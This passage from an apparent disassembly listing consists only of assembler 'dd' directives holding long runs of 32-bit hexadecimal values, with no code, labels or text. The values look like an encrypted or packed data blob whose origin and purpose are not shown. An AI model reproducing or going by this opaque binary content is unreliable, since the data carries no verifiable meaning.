364E6440h, 17A3BC48h dd 36FD9BCBh, 0F314A00Bh, 7A201EE0h, 0C61AA30h, 13DD7249h dd 0ECFE29A4h, 0F56EB168h, 30B8883Eh, 205AD40Bh, 8075DBE3h dd 0B25FB353h, 29D28D3h, 347A96Ah, 6CB9D029h, 0E48A6E59h dd 9C5AEB3Bh, 6B0CBF0Eh, 0A078E652h, 7D7F12A0h, 0BD190F2Eh dd 559F92E0h, 0F9728951h, 780BCD48h, 340594FAh, 9BE9384Ah dd 2A6053C9h, 7BE12717h, 763CEB7Ah, 68BF7AA8h, 256E0361h dd 246555A9h, 0FB8500Ah, 0D6DDE906h, 5F5A2654h, 0D5E570E7h dd 0E2D5C81h, 39C653C9h, 0DA49B198h, 0E495B15h, 5D9EFAC6h dd 0D85F9DEAh, 0FA258A3Ah, 0D2065E51h, 6A800ADBh, 0E91A730Dh dd 43E74A8Eh, 0BB4B17E1h, 0D994CC7Eh, 25405903h, 331E0C07h dd 8DACE0D1h, 1FF3904h, 76F877E9h, 0C7FF7E51h, 55F129EBh dd 6800071Eh, 0C70CDF98h, 9DA5E95Eh, 14D410EAh, 1FB2F608h dd 0C05D964Ah, 0EC885084h, 0F990E6E4h, 16149669h, 4FF3FC1Fh dd 1A13421Fh, 8A586A18h, 0A2E5400Bh, 0DFF1D01Bh, 0B736D276h dd 0E2277BC5h, 0E0BCCBACh, 600C5E91h, 51090C48h, 0F0BEB531h dd 7CBCA60Bh, 2D450C3h, 97305881h, 5F9EBD2Dh, 8B20BA0h dd 404024B8h, 0B92B9559h, 0FCFBB856h, 423BD4C9h, 0A7C1E976h dd 5A025CE4h, 89EF9E42h, 2D427AF7h, 57BADE50h, 0B1B825D7h dd 8DE8A756h, 0FAC181C4h, 0A30CEF58h, 75290222h, 0E0E9F901h dd 34FD614Ah, 90E9253Fh, 80587004h, 0B32D4E15h, 0E0E4234Bh dd 4211DB51h, 30857180h, 50DE0112h, 7D123100h, 2F596124h dd 0BE01BDE9h, 3BA9880Fh, 6EEEA341h, 0EE407554h, 3E6ABAC6h dd 0F6034C5Dh, 0A0C09E4h, 315EFE07h, 0C7955FF8h, 0C1C0CEECh dd 0CF8107EFh, 6E492B0Eh, 0D842DE25h, 0F4ECEABEh, 4ADA081Ch dd 0E5E1890Bh, 2DA58B28h, 922FF0C6h, 522E11CDh, 0C3014A62h dd 0E0C6333h, 8014305Fh, 7E744D01h, 2A06282Dh, 0CFD8F7F4h dd 78414004h, 0FD6FA305h, 0EECAD7F2h, 583B8957h, 8086FCAEh dd 7E15CFBBh, 5A853D6h, 2625D5CBh, 0B795ADB0h, 7E669291h dd 85E73244h, 1804AC12h, 83279F79h, 0EC204A6Eh, 9D899F96h dd 7505AABDh, 299ABB07h, 0FE6C49B6h, 5632EF71h, 781F6801h dd 61D83143h, 7474B880h, 3862E1F9h, 7DA98D38h, 0F3B99E14h dd 8DE1752Fh, 96802E46h, 60442878h, 7AB10C13h, 315BE35Ah dd 732BF0B1h, 0E9F8D043h, 48961A61h, 52A2B62h, 3009B864h dd 6EB4796Dh, 83A55AB2h, 0C28353FCh, 0E22858B0h, 4D3AD2B0h dd 71EE25E9h, 51962F06h, 9AFC854Ah, 81574230h, 0C313D2F1h dd 4480A7F3h, 121B951h, 411C1716h, 3F06E1C1h, 0DB3C9480h dd 4E497635h, 4DCF8066h, 555B800Fh, 0ABA9C416h, 5FFD81E4h dd 0A1B32BBDh, 0B020E983h, 25F41C4Fh, 1259438Ch, 0F1A03BE9h dd 5BF17731h, 0BE04C0F9h, 40F44BC9h, 0D760CFF4h, 246C2914h dd 595D2508h, 5696BF1h, 21FF0CF5h, 2ABFD655h, 11CB2AF2h dd 0D11BF3D0h, 0CA3854EEh, 1E90721Ah, 28D74E82h, 15580CF5h dd 0FC0C51EAh, 0A111F209h, 0CFC941F7h, 1ECB5D80h, 0F1CB762h dd 174F8D70h, 13F2F3E4h, 910E9159h, 2A60D9C3h, 102154A7h dd 3A846508h, 0DFCC60BAh dd 6E5C1A0h, 0E0E06D2h, 2E6A23CDh, 1AEDB168h, 27FEC070h dd 1FD1EE31h, 4797050Ch, 3EF409E6h, 0BAC814E8h, 7C1424EEh dd 1C8E1D32h, 4B0527D8h, 9DB1F5E9h, 0CB5D8C3Eh, 0D70EC897h dd 3060FB5Ah, 0FDD40F3h, 0DEDC8412h, 86B124E8h, 6084C339h dd 2C8BC688h, 0E24D5FC2h, 5B01224Ah, 0B22BD031h, 0A1D9253Eh dd 3638685Ch, 0D38994E4h, 9694E212h, 5BDF5071h, 84BE272Bh dd 2525EB3Dh, 0F8B24B97h, 7FAB4A8Fh, 6DA37AA7h, 7E276B12h dd 0F455154h, 8FD623B3h, 30EA294Ch, 7BB90D89h, 57BE245Fh dd 8AA7BEB8h, 166B08Ah, 1144E51h, 59806EF2h, 4C2B404Bh dd 0B4291467h, 0C65147F7h, 5B4FB56Ah, 660F9CE3h, 0DEEBE1F7h dd 5452E740h, 0DB685A09h, 88C15109h, 702DBE31h, 0F2810223h dd 0BBE5FBE4h, 0C75E22FDh, 8F682202h, 6EB79678h, 34052031h dd 106E4148h, 0FF505B1Bh, 19311F39h, 7A870902h, 0E6E2BE52h dd 0AE346292h, 34848198h, 4A7A90C3h, 0D4C0ACB3h, 0A1B02ED9h dd 0D554C442h, 0D5292310h, 80953C80h, 0D690D9F7h, 6EC90D55h dd 0F206B434h, 0F82882C5h, 665B6AD9h, 0E2CC0F11h, 9AE5C82Eh dd 1FBCDFBh, 832B3CB1h, 6FD4EDD1h, 25F410F6h, 125F3B42h dd 884BC986h, 879D04C7h, 884004ACh, 0A68E7E8Fh, 0BFCE2172h dd 323A5749h, 0F6992E89h, 0DF0660EEh, 0B55E8F40h, 0ED0BA89Ah dd 0E9E2DDFBh, 0C3E7CDCh, 0C004D6F6h, 0BB06EE2Eh, 95DBF827h dd 4FA878E5h, 53C4954Ah, 2B6F39BEh, 68082CB2h, 0E9050DB1h dd 0A234A478h, 7AA19612h, 0FB5D86Ah, 8495AB48h, 62AE81FAh dd 0BE82561Fh, 7B459E27h, 1CA30F0Ah, 6E13AF3Dh, 0ACC1F7D6h dd 5BEC36A5h, 324AE3F8h, 9D5345C8h, 6269B91Ah, 0DADE6C5Bh dd 4617DCC1h, 48BD27F9h, 970728F7h, 0A27A28CAh, 9F87A920h dd 3C57A041h, 0DB2F7C29h, 64C6F102h, 50510017h, 5C70C668h dd 9B256087h, 485BEC06h, 2619ECB7h, 0BC259A90h, 5C923D89h dd 0D1F72D22h, 308FADC1h, 49503BE3h, 8412A1EAh, 0AB5844h dd 9E8D0589h, 0E297FA18h, 26255092h, 0A54F29E9h, 5589FE7Bh dd 3090DABEh, 0F7C3276Ah, 9C2E1521h, 5512B57Bh, 0AB920FECh dd 0AF560064h, 8F6B7E2Dh, 96E913E0h, 1253FFF0h, 0F336CC68h dd 47557FA9h, 0DCF3C1A7h, 0DAAAEF33h, 2B5A7061h, 0BDD3F0A3h dd 844F9A8Fh, 0EE12807Ch, 8B0FBF01h, 1387B41Ah, 308103E2h dd 263F73B9h, 3235E390h, 0FDA505h, 50C7044Bh, 0EE24C055h dd 0E62580AFh, 91238011h, 975DB64Eh, 14020FA9h, 6609839Dh dd 34872561h, 2E9C2F6h, 0AD8EA22h, 63340318h, 13D968D0h dd 0E6A589ABh, 98200803h, 85F0B981h, 827CA5A3h, 444C440h dd 0F7130576h, 439081DEh, 3055710Fh, 8CE201F5h, 0A7183C60h dd 0C0448A36h, 7730730Ch, 0EB4EE90Ah, 69B0C080h, 0C0D75004h dd 95A56346h, 0CEB926E7h, 0A336EC21h, 3D58FE82h, 3F2D3141h dd 7ADFD17h, 5A97E6F5h, 165289CCh, 0E94CC2E9h, 0F11A1346h dd 0A216578Ah, 856D9454h, 4834F97Dh, 9F53185Eh, 12DFEF33h dd 526E3D65h, 2E2E0947h, 4258ECA2h, 655AF780h, 0CAEC5C99h dd 844BA501h, 13DE963h, 0A28C343Ah, 2DEF1209h, 147137AEh dd 0F69F450Eh, 0C339F4A9h, 0A2852EF7h, 39B03237h, 0AEEC5D05h dd 71272777h, 14782A20h, 0F3EC2A7Fh, 3733A70Ch, 19970C6Bh dd 9056E93Bh, 0AA82055Ah, 5B8AD814h, 0EEC90766h, 0FC09643Eh dd 4734271Bh, 826A663h, 3501EC9Ch, 0AB938BD1h, 0E48D812Fh dd 2F3D351Ch, 16C2E837h, 4C2E7DA6h, 0A140D1E9h, 6302BD68h dd 0C15B1486h, 0C98277EBh, 4304C44Fh, 0F101ADC2h, 0D73D3FB3h dd 9D2C0B16h, 0C766EC8Eh, 0D05B1E92h, 6BC16B0Fh, 9E90904h dd 6D4E6289h, 77142575h, 1A68E928h, 3CD3C309h, 6CF08C06h dd 2D7E40C2h, 0E7A6F20Bh, 0FC328B79h, 0FD7E6E70h, 0A0D9F124h dd 646C9F42h, 682CF426h, 56A40269h, 89B0DE41h, 2A0B4E46h dd 0F88745Eh, 685100D3h, 48B010A4h, 6B16594Ch, 0CF6600C3h dd 905FF989h, 35602878h, 0DC3C0F73h, 8B6B3E9Dh, 2D413362h dd 0FECAE0CBh, 0AC26C69Fh, 0BD551FB6h, 2CD30F73h, 592DF581h dd 15BA8C2Bh, 48EE5D07h, 5A1F9E6Ah, 9D700946h, 0CC8B2EEh dd 1EE98502h, 51101ECh, 20D194B4h, 0F4C05E39h, 1FCB5FC4h dd 0B7CBB821h, 0FD87BA00h, 235BBBE9h, 0DBF77AD1h, 0C5BEF884h dd 5F17B05Ch, 0DD895513h, 343B87A1h, 84F9015Eh, 70CFB4AAh dd 591F64C2h, 0C50173D3h, 7C8E55B7h, 8C9506Fh, 24141C68h dd 4B9F11A6h, 13DDFFA2h, 31B64767h, 46E827C8h, 76B108C5h dd 0CA66DEE9h, 18652F51h, 0E595C82Dh, 7F7397F7h, 9F0DD8A7h dd 74169F99h, 8E130FCEh, 0F3ADEBD7h, 5D4B29CFh, 0DA4A0F63h dd 84F23AF5h, 0ADB0B9ADh, 5057015Ah, 7E154CB8h, 842F64h dd 8DF841BAh, 70333546h, 89CE2B8Fh, 299EEBD3h, 4F3A5721h dd 4EBC435Eh, 0DFACE5C5h, 0DB061EB7h, 540C6023h, 8249EB38h dd 10370899h, 232C0126h, 2880413Ah, 122B1960h, 0FAE4D731h dd 99505FEh, 660E04AFh, 25629581h, 803FAD35h, 2B3DD35Ah dd 780C84E3h, 17BAD4C6h, 185CB9FCh, 666397E9h, 0CBFE0F59h dd 4364DBF6h, 2BD89803h, 0ABD2240h, 41C1056Bh, 7FC0FA7h dd 0BDB3EDAAh, 0CE409FF3h, 0A330E80h, 0C8180C0Dh, 2DE9F2B0h dd 0DA649ECFh, 279A4097h, 0E2514D9Ah, 0D8F5EB00h, 45E9AE65h dd 310958BAh, 0D42958C6h, 0EC212C8h, 8BA4B569h, 3862AB36h dd 0C9FEFCCDh, 9EB1B04h, 0A0A6555Dh, 0DE027603h, 0D1366134h dd 0A38C8FEBh, 53A3E6Fh, 30076482h, 0D1C0E13Dh, 0DDB39DEAh dd 72A84EC9h, 35850F67h, 0A67F477Eh, 0F7318E6Dh, 0DF8EFE4Eh dd 9E08FBCDh, 7C3987D8h, 4648D6FEh, 58B9B08Ch, 34E34C1Fh dd 2049EE00h, 0CE0161D3h, 8811498h, 5D1E8259h, 57661503h dd 0BC09D809h, 0E0C113C0h, 8A1020B0h, 25029C04h, 51F53A7Fh dd 996AB0C0h, 0C5C616C1h, 422B53E4h, 1842E9D3h, 0C13DA0D7h dd 64979DFFh, 0A1C0FC89h, 0CE357A60h, 68586D20h, 0E30C4A59h dd 0E91B621Bh, 34DC4BBFh, 0AB457E8Eh, 882682DAh, 73E90468h dd 0B549AFEEh, 0B14D60D6h, 0CE88024Bh, 12F68059h, 1758EC62h dd 2B362D01h, 0C2296B21h, 41779420h, 9A22D47Bh, 8E6E3294h dd 58C3C0E8h, 9E3815Dh, 254C0B5Fh, 6B82C81h, 0E4683036h dd 0E4ACCB4Ah, 4250F7D9h, 197D7FF0h, 0E82355EFh, 0CB21E381h dd 7AFDE133h, 0E581A930h, 0C73D13B4h, 40A2071Fh, 8116D57Eh dd 5566253h, 20E64F14h, 0B85C4AF2h, 0D70C8CBDh, 53CE13BBh dd 0D999C1A8h, 2F2C0043h, 0B85B4E66h, 0AF623E17h, 291241CBh dd 506EBADBh, 0CE71BC2Fh, 7CF9E74Bh, 0B6ECB8C4h, 0E9469097h dd 0A19D886Ch, 9E4EF317h, 1C9F220h, 52AE1378h, 684A800Fh dd 0B6E25AD6h, 4BB3A8B5h, 830577C4h, 69C814E3h, 7B391E49h dd 19C1C910h, 2B3012E9h, 795D6B0Bh, 34764BCDh, 735A5642h dd 0E95305EFh, 0AEAB5394h, 6F8694Ch, 2D90BC41h, 0DAC176D8h dd 172435C9h, 8FACB12Bh, 0D85AE907h, 1348EB9Dh, 0E1FFFDBAh dd 0C46160ECh, 9DE9AA94h, 0AF8AA670h, 0B8D72F14h, 24B4E7B8h dd 62D9AA33h, 4E457A61h, 0AEFA34AFh, 4AAA2AD8h, 0E006C912h dd 0C69D46D9h, 6C3789A3h, 8520EA39h, 84935C6Ah, 0DF341A09h dd 5BFCC230h, 0FE2C9E97h, 8C2B4E3Fh, 15161F4Bh, 13102664h dd 0F8E327B1h, 0C4565B8Ah, 0AA9CBAC2h, 265A9A91h, 420C08Ah dd 0FFDE30B3h, 4A885F2Ch dd 124CE1F4h, 3CD55196h, 0E02FF69Ch, 5BE918F8h, 0EBC57DFEh dd 0A3701B24h, 94B3253Eh, 0B9B2D97h, 3B8B4067h, 861148DBh dd 25ACB0EEh, 677426D9h, 0BBE5670h, 198E2AF4h, 0F96BC672h dd 0E5604211h, 0E06496C9h, 5B4876Bh, 0ED685340h, 758E1D61h dd 1A6E8B5Bh, 35A82D30h, 9594A09h, 0FAC9D2CBh, 0AB6182BDh dd 0F86660F9h, 43D0541Eh, 0A0E9D103h, 0C207CF0h, 1EE60DF3h dd 0E98801BCh, 0BF0DBADBh, 9A766CB0h, 89F279Fh, 460AC382h dd 5A54790Eh, 5FDDF6DAh, 0E9848DE2h, 212DF15Fh, 0CC0FE6Bh dd 6082C0CBh, 50F12B50h, 16DEBD84h, 0B0F5295Bh, 6BC20854h dd 0C0485DE8h, 0FA4005F4h, 96B61Bh, 2815EA80h, 41E75AD7h dd 35249CFCh, 25AB302Fh, 484D441Fh, 0D9351809h, 37E48BEBh dd 34A57BA0h, 0E29815AFh, 2957FC00h, 8282D73h, 27E9E8FAh dd 86C80D49h, 392627B5h, 9E028140h, 2D5A15h, 0DCF749ECh dd 0D7CE0141h, 4E88C781h, 2C8BE811h, 0E8A7C59Fh, 25FB0287h dd 4EDC106Bh, 5C519B09h, 6FAB61B0h, 10B03BE6h, 97F1BA4Ah dd 26EFAF02h, 0BFD9555h, 0C1CBB8E9h, 5092EDF8h, 314CBF12h dd 469D5CEEh, 0C0D4411h, 905CA709h, 0E7807726h, 35454A69h dd 0BADCBC61h, 4761C501h, 0B5051864h, 0B6D20816h, 0F3972AF2h dd 403B25D5h, 0B67782C0h, 5964EF51h, 2DDA8AC7h, 2701E057h dd 307A2D4Ch, 3607F688h, 0E92A753Bh, 0B95AE0AEh, 2D607A89h dd 6463246Ah, 0FDED1233h, 16D300EEh, 562D4049h, 661C0436h dd 92F0E955h, 0A5C58BEh, 59F0EF96h, 2ED2EC1h, 25851025h dd 5B50D858h, 5BE2CC14h, 0E9A389Bh, 0EB7FC0E9h, 7BC69D2Dh dd 7576F5FFh, 2331A50Dh, 4C321B4Ah, 0A7257F87h, 2EB6B261h dd 831DD583h, 0ADEEABDEh, 0E0361CC8h, 0B859ECCFh, 0F3EFFC45h dd 0F621982Eh, 0C7FED71Fh, 0FC8A25B9h, 26064991h, 71FB6052h dd 27589E50h, 0A8F0A5D6h, 38799D59h, 0DA8BB3E9h, 0AE94A8DDh dd 1B6CF400h, 28EF8145h, 9D835CE1h, 80D56CAh, 840E20DCh dd 94FAB152h, 0A204E47h, 0B8EB87DDh, 96F304FCh, 0A839A8EAh dd 15E9125Dh, 9F2E4B4h, 14706BF4h, 98CE38E2h, 0A9CA1C5Ah dd 0B45D0D69h, 680CED94h, 0C63A5A2Fh, 0B5B22003h, 9DCA3AFDh dd 0DE044658h, 0C04FF244h, 93224720h, 2EC304Bh, 0E14A8B4Ch dd 9FDF3E80h, 0CEE0112h, 0C79338FDh, 0BB570229h, 0B6985F13h dd 4E9240F2h, 3AC781E2h, 299B3AB2h, 5E6A7047h, 0BEE10B47h dd 225CC8D0h, 0A02F200Ah, 9A7AD580h, 0D8011DDEh, 44BA1752h dd 0FDF4E95h, 0B84C7855h, 0CE57067Bh, 90442922h, 40CE5849h dd 4398500Ch, 0FE812BE5h, 5D00C8A8h, 81250F4Dh, 0AA0E0FA6h dd 89808790h, 0D5C3C6E3h, 35997A05h, 858625CBh, 381AA1C1h dd 54CED98Bh, 3CF01F2Fh, 2174645Eh, 4803F18Ah, 6610DCC9h dd 5D0B1F26h, 1482BE30h, 14D7188Ah, 9DBEB290h, 15ACBC34h dd 0B31CE95Ah, 3000359Fh, 0F740343Ch, 132D77D8h, 0A0D65EC3h dd 0E7796801h, 7E3B35C4h, 80CFB10Fh, 8D25FD1Ch, 0D7E9F60Fh dd 7BC75A49h, 0BDD6365Eh, 0FAB8BF57h, 0E43B534h, 6C026FF6h dd 5E5C5B1Eh, 0E9FE3101h, 0C96FF895h, 8787034Bh, 0D7CA3369h dd 2DF671AAh, 0E25C6E04h, 80F8D46Dh, 6BE9CE29h, 7DE4973Ch dd 81DE948Ah, 0CA111BCDh, 68F6E956h, 4E585F0Dh, 982FC805h dd 33FC041h, 551968ACh, 0D54FFAB4h, 0F44F69E9h, 0D64DC281h dd 0DE2020F9h, 90AC944Eh, 4D2787D2h, 9CC83F8Bh, 49E87721h dd 68016EC0h, 44AB323Ah, 4D912E5Dh, 8907BD37h, 0FD0ED202h dd 79284A65h, 363E2C00h, 0EC270516h, 8E424CDDh, 74BCBD3Ch dd 904C01BBh, 4B590841h, 0C0787AECh, 16CC255h, 0A9970A5Ch dd 86376A16h, 9526CAC6h, 69E47FF2h, 23FA4472h, 41AC66Bh dd 0DCBF5D39h, 9A84842Bh, 0EAE620A5h, 0B8C1382Ch, 7F73CA0Dh dd 0AE3A6483h, 0C1F42949h, 6835E4C1h, 13EE9213h, 5876EF38h dd 12E7951Dh, 69E2D39Eh, 567C6996h, 0E9312944h, 63053AD4h dd 1FEADA86h, 2EA4FD41h, 0C3FE806Ch, 28BFF380h, 8550DA58h dd 0DC4191D1h, 6F5B0DA5h, 0CBB360h, 760E4BB8h, 4012840Fh dd 0ED82819Eh, 0D0703859h, 2585FE65h, 401CFAC0h, 0A0FD514Eh dd 7C11680Bh, 49FF269h, 25BFFA13h, 831545F3h, 0C228AA98h dd 15278411h, 2946473h, 142162BDh, 0E880456Ch, 1DF62AB5h dd 51E38103h, 9475B44h, 5DE908A8h, 254067A0h, 0BE1C5081h dd 829D354Fh, 0A003C3D6h, 3151E9h, 79D3F2E9h, 95B0A70h dd 0E51C572Ch, 0C10F9522h, 294105E1h, 5FB6E116h, 79F9C37Eh dd 0AFF4C8Ah, 0D4035E97h, 0C21A37A6h, 9443D049h, 5EF925B3h dd 0CA50E942h, 951C6079h, 6D5B136h, 2E7D70B9h, 0C7AE60BFh dd 49F61D87h, 0C4CF9D9Ah, 0BB65DC2Ah, 0F7C16B1Fh, 434A9B9Eh dd 3FC3AF40h, 0A0455FB2h, 6C0E2560h, 0C04E3437h, 3DCC2498h dd 88AEC401h, 7576C8F9h, 7BF3BC13h, 0A2D215FBh, 0E763558h dd 16BB62Ch, 85A813D3h, 7632AF79h, 1532DD5Dh, 0A2550B40h dd 7EB98A82h, 546E203h, 756EEB7Bh, 722B3443h, 50AEE20Ah dd 6D161DE3h, 69C20B1Eh, 580884EAh, 0F3C9FDB2h, 0EBE251F4h dd 9A907574h, 0E14FF75Ch, 0D12EE829h, 79113AA6h, 20E9A1C4h dd 0B23A4B25h, 0E2182505h, 258B09E9h, 8DA5D51Dh, 0C53E8419h dd 1738BE2Eh, 0EBA24486h, 0F1381009h, 0C37A6162h, 0C7880844h dd 218D4A73h, 4835F85h, 0F1969DB2h, 8827650Eh, 26D5680Ch dd 42051380h, 0ED81CD3Ch, 40EAEA7Dh, 8207211Dh, 8CCFF65Ch dd 4F3175DBh, 685FD0C3h, 98B573D2h, 0B54AF655h, 5E4AA594h dd 0C4B215ACh, 0A4C291F6h, 0B4BB0010h, 6D4F5159h, 6640FCE1h dd 799EF461h, 0E9F81A3Fh, 0A24E8D7Fh, 155AD13Fh, 0A57B48h dd 2535BEEAh, 0EF295D54h, 3E761287h, 4C71AB95h, 5A638F49h dd 0E6AD64Bh, 4E8D7D08h, 409E8782h, 0F9F41BFBh, 22FFA980h dd 3F3B4135h, 20B51982h, 1420EEF3h, 0FEF0EAD2h, 35EA02C7h dd 59E94E93h, 880BDA74h, 0B31B68E6h, 6ED99511h, 6DD3D1CBh dd 1FF22B6Ch, 4493DF13h, 0EBDAF73Dh, 0F2A85E66h, 4BE40532h dd 778EF35h, 0D5E705C9h, 4987C24Ah, 0DEAA49EBh, 0CEBB8658h dd 82AB2E4Ch, 240B6761h, 0F102B759h, 459EF30h, 3ACEF620h dd 8613E909h, 9DD71655h, 0A1252BD2h, 262651ACh, 917B092Eh dd 61938210h, 0E952F91Eh, 4C72F26Fh, 0CF2037E0h, 2FC8DCBEh dd 6227E989h, 0A843D141h, 27DF5979h, 0BFD259C4h, 6FEF1744h dd 2CC0BE0Fh, 0F58919AFh, 0B7F15E5Ah, 133AE531h, 0E086B9E6h dd 5BB8685Bh, 4A173065h, 210C427Ah, 606EDC1h, 0CC515008h dd 2B130C3Ah, 3FD8D176h, 457CD40h, 894B47BFh, 0F1EBC01Eh dd 71024C55h, 0F708E7C1h, 0F6805FD7h, 0F82AD0EFh, 7384D58h dd 41495911h, 542D9E6h, 10C921DEh, 0E978B031h, 6C9C6790h dd 10E0FD94h, 8102C541h, 0E47035E7h, 0DAD7F182h, 3FED6801h dd 0A65EE523h, 44034A7Bh, 4C9B54E9h, 480F4645h, 0B06B1F3Fh dd 5376F7F8h, 1ABD5679h, 0FA57C0AAh, 8FE7B52Dh, 0D3950F20h dd 0AF591EE0h, 0F35EAE90h, 6203A50Dh, 1ECCFC38h, 0D23F64E6h dd 1659BD1Bh, 0FFFDCB01h, 18ADB9A4h, 0EF27BB77h, 94591E48h dd 813BD246h, 0C9D98860h, 0E690E5CAh, 64DB3AF5h, 0E6402F18h dd 0BF1C2364h, 0F0E70EC3h, 0E6495882h, 0FD317801h, 240FCE9h dd 8582FD66h, 5006EB4h, 0A4A6F06h, 2DD8011Dh, 75292707h dd 75A89A6Fh, 2617F598h dd 15005739h, 19E63797h, 0AF680452h, 0EF337823h, 0F8826744h dd 0EC4F9BF8h, 0C45EA208h, 5451309Bh, 0F422E90Bh, 82D197h dd 30CB1067h, 0EF179D05h, 0D913CF34h, 56B297F8h, 69E9B7A1h dd 61429DA1h, 53258BA4h, 0B0A9A282h, 680A0B40h, 1E512E0Dh dd 17F87788h, 9EC7FCADh, 4A9F15D5h, 0B9E9C26h, 6AD33F19h dd 7D200D00h, 0D10669A9h, 3D9CE9EAh, 30D97757h, 803EEC84h dd 0F09DF8CFh, 0AC4429B0h, 0CD8100E5h, 77AA6A87h, 0F6BE5600h dd 0C16C4439h, 0F1AFB8EEh, 3D27828Bh, 577C770h, 0CE01517Ch dd 122F5521h, 0B124C7E9h, 0B016BE5Eh, 0A703A44Ah, 0E7F2105Bh dd 7648464Dh, 0B22ACD16h, 41244E18h, 2488F5C9h, 800E2594h dd 0CBE33C6h, 86123381h, 0D3F6DE1Bh, 1DCEF808h, 0A232B0D0h dd 5800D6C3h, 0A1C493BAh, 0D2829905h, 0DD07E0A5h, 6A49286Fh dd 8BCAF1ECh, 5E0ED008h, 0E9AD9C02h, 4AD2D832h, 287D528h dd 0E3EB333Dh, 0F1D50C25h, 0AE4264C9h, 1C0378D3h, 5FFEB63Dh dd 0A4D197CEh, 58278A63h, 42A8F3D4h, 0A2FE20B7h, 9812BC8Bh dd 0EB151E7h, 0C5E18085h, 8431C164h, 0CF12AAC0h, 8BF316ECh dd 6538EB95h, 4E1C4099h, 2307AF92h, 0EE09648Eh, 30AC33E4h dd 51982D02h, 0E3416CB2h, 0C0074705h, 4A751382h, 19A85B4Bh dd 0CEFD82A5h, 1ED2C220h, 3B5F769Ah, 250E62F2h, 1C384A6Eh dd 36E6B5CFh, 0E6B1E912h, 6084FFADh, 0C429ED7Ch, 37D444F0h dd 18D08AFh, 0A40B1624h, 0FAA58B7Fh, 85580136h, 91E9964Dh dd 0E78D81E5h, 305B452Dh, 80DA7F30h, 7B71D9B8h, 0B4835850h dd 760B4D17h, 0C1407282h, 41AC532Ah, 0BEA21206h, 7A4D4204h dd 303AFF13h, 19E8AC14h, 0CB3C4402h, 0AE40464Ch, 0CD316DC7h dd 0D6C6415Bh, 29D87421h, 0BCB390F1h, 30F02D1h, 9507EFFh dd 0E3A2504Eh, 1272054Ah, 0E871AF2Ch, 0AF20F888h, 0F6214019h dd 4A29D058h, 65F767CCh, 0B05A0BD1h, 1792591Dh, 0EEC1599Fh dd 6DC3A5h, 0E64C7566h, 2EB80149h, 4E8A5A5Fh, 0E21BC84Fh dd 0F4E88D4Ah, 163768E0h, 0E362A494h, 555F0026h, 963EBB53h dd 0BD498C06h, 97310B94h, 0E9131DFAh, 0BADCEAF2h, 61E33168h dd 0AAA9F7B3h, 392DD57Bh, 75746A4h, 7018C7C2h, 0E0EDE576h dd 0D0955A99h, 0D20920A2h, 2F14369Fh, 968670E9h, 0D2BA4E58h dd 214F41B5h, 2C7FF665h, 6B401C99h, 0D1C21709h, 0B91363E2h dd 292703EEh, 19F0EC4Fh, 1DA6BDE9h, 900B6AF8h, 6A10DEB3h dd 3B802DAAh, 5622F705h, 0E801020Ah, 0E91C072Dh, 0B771802Dh dd 941F042Ch, 661E3A75h, 5F66715Bh, 5397047Eh, 5AA94687h dd 8660998h, 0B083613Eh, 7F01519h, 9A25E95Eh, 6EC47CBAh dd 522B007Fh, 0C8870F3Bh, 79F48997h, 0C9E54238h, 871BD07h dd 0BCE81E40h, 114C5E0h, 0C8DC0FEh, 0F488D26h, 8703037Ah dd 50D6F7F1h, 18BC5808h, 0C017233h, 734C773Fh, 9C6003Ch dd 29322C61h, 80CC90CEh, 785F5908h, 0AA34B583h, 477E5EA4h dd 0D57763B2h, 1045C52Dh, 0B95D517Bh, 2B133F31h, 656571D7h dd 933D2E50h, 0AD58613Ah, 6F8104BBh, 732FB870h, 0EFEC5CDEh dd 0E90A918Eh, 463CCC61h, 59976A50h, 29D42763h, 333786CFh dd 0CC60C83h, 0F7A28082h, 29D85E4Bh, 2B436968h, 0DEC92777h dd 0F91FE1A2h, 0B33B8869h, 6961F43Ah, 438A680Ah, 0A68DD988h dd 0C96E4525h, 25ABB02h, 2084657Dh, 123BF56Ah, 1974EFECh dd 0BFCB9216h, 0AA515F14h, 2D936A30h, 9C487B72h, 0AF7E1069h dd 0C0A4B35Eh, 0A7E9555Ch, 6828BC3Ch, 0C4BDAEC4h, 0EBE6948Dh dd 9EBB898h, 6E037CCh, 8FFA8F5h, 0D038E90Bh, 4B898510h dd 0DE2717F6h, 10C1AF66h, 0D5E52B01h, 51A13C28h, 0E6A23F54h dd 0D105E9C4h, 9EEF2946h, 4B92FB44h, 0F087C949h, 0B81F3A87h dd 0DD296E8Bh, 0B2098004h, 0E55B73FFh, 0B5F554D8h, 3AF36FC8h dd 25334D97h, 0F9AF5673h, 0FE914B3Ah, 4E7D32EAh, 50F01E0h dd 0D30932BEh, 0F0A91F5Ah, 687CE923h, 3CBE0AD2h, 12BAC307h dd 0FDEED124h, 0A9EA3D0Fh, 1982D586h, 5E05400Fh, 5D08B001h dd 68302F5Fh, 0E2440FE7h, 1AC9E961h, 0E9D06FF4h, 0A66D4BD5h dd 35BB13B7h, 0F75B8CE3h, 3F0CC825h, 57D5B4D5h, 807C003Ah dd 850F22E7h, 0ECA88173h, 0F6C847B5h, 88500196h, 30EB80D3h dd 0D4FACB90h, 1AAC054Bh, 1655588Bh, 4810B5C4h, 581FDF2h dd 5D644F2Fh, 0F3F5A265h, 50BC768Dh, 0C467C589h, 0CFFE3D5Bh dd 0E8BD1713h, 90D68BB1h, 127FC3B7h, 4A52DC09h, 3008EB7Ch dd 43074E0Ch, 62F1424Fh, 87BEB26Ah, 70232BFh, 94074084h dd 2D4B047Ch, 8153FA01h, 7222E8C8h, 7DA45EFEh, 76F5ED29h dd 9BB2364h, 28195356h, 73226A00h, 5A9D0B5Eh, 0D7D2F56h dd 74A5C2F1h, 0E18F97E0h, 0B546EC2Fh, 0C5280D1Eh, 16AD25CCh dd 0EC8F260Fh, 14D9ADB4h, 65C01B08h, 7A28BE5Ah, 0ACEC403Ch dd 0F09FA2F4h, 0E8175A10h, 80A3406Bh, 882EC705h, 60E85BFAh dd 8BB6D420h, 0D710602Ch, 0A130DC48h, 0C3285B81h, 774822FCh dd 0D8B58195h, 7520DBD7h, 9B4205BCh, 93AFE926h, 52F0B8F3h dd 50072C8h, 613A767Bh, 17E32D40h, 0C1669B71h, 52A51A13h dd 8B40E2E8h, 8EA3BD1h, 0F809AF90h, 852D0752h, 9DBA3A24h dd 0A955423Dh, 3D84E927h, 3A2E9DABh, 72A45D34h, 337E6251h dd 1DC97611h, 0CD27F6E2h, 0E24EFC09h, 0F6006794h, 48B724D0h dd 0D15B370Fh, 7CE60220h, 0ADB180A2h, 9EF8155h, 62B9F0CDh dd 0A040AD7Ch, 